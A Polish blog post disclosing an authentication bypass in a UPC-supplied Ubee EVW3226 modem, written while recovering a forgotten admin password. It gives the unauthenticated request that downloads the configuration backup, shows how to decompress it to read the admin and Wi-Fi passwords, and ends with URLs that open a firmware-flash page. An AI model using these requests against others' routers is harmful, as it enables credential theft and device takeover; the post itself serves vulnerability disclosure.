Odzyskiwane admina - analiza pliku konfiguracyjnego do modemu UPC

Ten post mógł się pojawić już pod koniec kwietnia 2015, kiedy przyjechał instalator i podłączył modem Ubee z oprogramowaniem EVW3226_1.0.16 - model EVW 3226. Nie miałem specjalnie czasu ani motywacji (w końcu to sprzęt od ISP) na potestowanie zabezpieczeń. Oczywiście w dniu instalacji zalogowałem się do modemu, ustawiłem to, co mi było potrzebne, zmieniłem hasło do modemu żeby je potem zapomnieć. Zrobiłem backup konfiguracji + ruch na interfejsie sieciowym loguję na dysku. Nie lubię przywracania ustawień fabrycznych, nawet jeśli konfiguracja była prosta.
Po tygodniu próbowałem się zalogować do modemu- ACCESS DENIED. Po kilkunastu próbach zalogowania i poszukiwaniu backupu okazało się, że hasła nie pamiętam, pliku nie mam lub nie wiem który jest właściwy- a zapisywanie konfiguracji i każdorazowe restartowanie modemu jest mało ciekawe.

Poinformowałem UPC o tym bugu. Potwierdzili, nie dostałem odpowiedzi. Po kilku miesiącach przypomniałem się, oddzwonił ktoś z firmy z informacją, że problem został rozwiązany. Mój modem nie ma innej wersji oprogramowania niż pierwotna, bug jest nadal. Nie działa, przynajmniej w takiej formie od strony sieci publicznej.


0x01 - Modem sprawdza czy podaję właściwe hasło

0x02 - Zatem ono gdzieś tam JEST

0x03 - Odzyskujemy dane z hasłem i odczytujemy je jeśli to możliwe, jeśli nie, również odczytujemy.

Odfiltrowałem ruch HTTP do adresu 192.168.0.1 z logów, bo pod takim GUI routera jest dostępne, z dnia, kiedy była instalacja. W logach odnalazłem żądanie, którym  pobrałem kopię zapasową na dysk: GET /cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=EMPTY1369 HTTP/1.1

Nie ma na co czekać, trzeba je wykonać ponownie!

http://192.168.0.1/cgi-bin/setup.cgi?gonext=Configuration_file.cfg&Password=EMPTY1369

No i przyznam szczerze, że się mocno zdziwiłem, to już prawie koniec zabawy o.O

$ ls
-rw-rw-r-- 1 sudokillall sudokillall 5167 sty 13 21:38 Configuration_file.cfg

Plik pobrał się w pierwszej próbie. Przypominam, że nie jestem zalogowany do modemu. Jest opcja szyfrowania pliku konfiguracyjnego, która nie działa. Pobrany plik jest dokładnie taki sam jak nieszyfrowany. Został pobrany ze zdalnej maszyny z lokalizacji /nvram/8.

Czym jesteś pliku?
$ file Configuration_file.cfg
Configuration_file.cfg: data

niczym.

Być może mamy tu bliżej nieokreślony nagłówek, a dane są po prostu skompresowane. Poszukajmy bajtów, które mogą wskazywać na typowe sposoby kompresji: xz, lzma, gzip.

$ hexdump -C Configuration_file.cfg | egrep 'fd 37 |1f 8b|5d 00'
00000000  00 00 32 26 b1 64 7e d5  00 00 14 23 1f 8b 08 00  |..2&.d~....#....| 

Wygląda na to, że na pozycji 0xC znajduje się początek archiwum. Odcinamy pierwsze niepotrzebne bajty:

$ dd if=Configuration_file.cfg of=archiwum bs=1 skip=12
5155+0 przeczytanych recordów
5155+0 zapisanych recordów
skopiowane 5155 bajtów (5,2 kB), 0,0213622 s, 241 kB/s

$ file archiwum
archiwum: gzip compressed data, from Unix, last modified: Wed Jan 13 22:36:42 2016, max compression 

2 wcześniejsze bajty (14 23)  to informacja o rozmiarze pliku po skompresowaniu:

$ echo "ibase=16;1423"|bc
5155

Dalej już jest z górki. Po rozpakowaniu, do dyspozycji mamy strukturę plików. 

Hasło do modemu znajduje się w pliku "1":

$ cat 1
U>��?�H
       sudokillall

Nazwa sieci WIFI i hasło do niej w pliku "a"

$ hexdump -C a
...
00000030  00 00 00 01 00 84 00 20  73 75 64 6f 2e 6b 69 6c  |....... sudo.kil|
00000040  6c 2e 61 6c 6c 2e 62 6c  6f 67 00 00 00 00 00 00  |l.all.blog......|
00000050  00 00 00 00 00 00 00 00  00 85 00 04 00 00 00 02  |................|
...
000000f0  67 72 61 62 74 68 69 73  70 61 73 73 00 00 00 00  |grabthispass....|
00000100  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
 
├── 0
├── 1
├── 2
├── 3
├── 4
├── 5
├── 6
├── 7
├── 8
├── 9
├── a
├── A
├── b
├── C
├── d
├── D
├── dhcpd
│   ├── udhcpd.192.168.0.1.host
│   └── udhcpd.192.168.100.1.host
├── e
├── E
├── f
├── F
├── g
├── G
├── h
├── H
├── i
├── I
├── j
├── J
├── k
├── l
├── lsddb.ini
├── m
├── n
├── o
├── p
├── parental.allow -> /var/tmp/parental.allow
├── parental.cpe_mac_filter -> /var/tmp/parental.cpe_mac_filter
├── parental.deny -> /var/tmp/parental.deny
├── parental.keyword -> /var/tmp/parental.keyword
├── parental.mac_passthru -> /var/tmp/parental.mac_passthru
├── parental.url -> /var/tmp/parental.url
├── pass.txt
├── q
├── r
├── revaliases
├── rnddb.ini
├── server-cache.xml
├── ssmtp.conf
└── y

Bonus, wywołanie poniższego linku, spowoduje możliwość uploadu testowego obrazu do pamięci flash:

http://192.168.0.1/cgi-bin/setup.cgi?gonext=RgSystemBurnSignedImage

http://192.168.0.1/cgi-bin/setup.cgi?gonext=warning2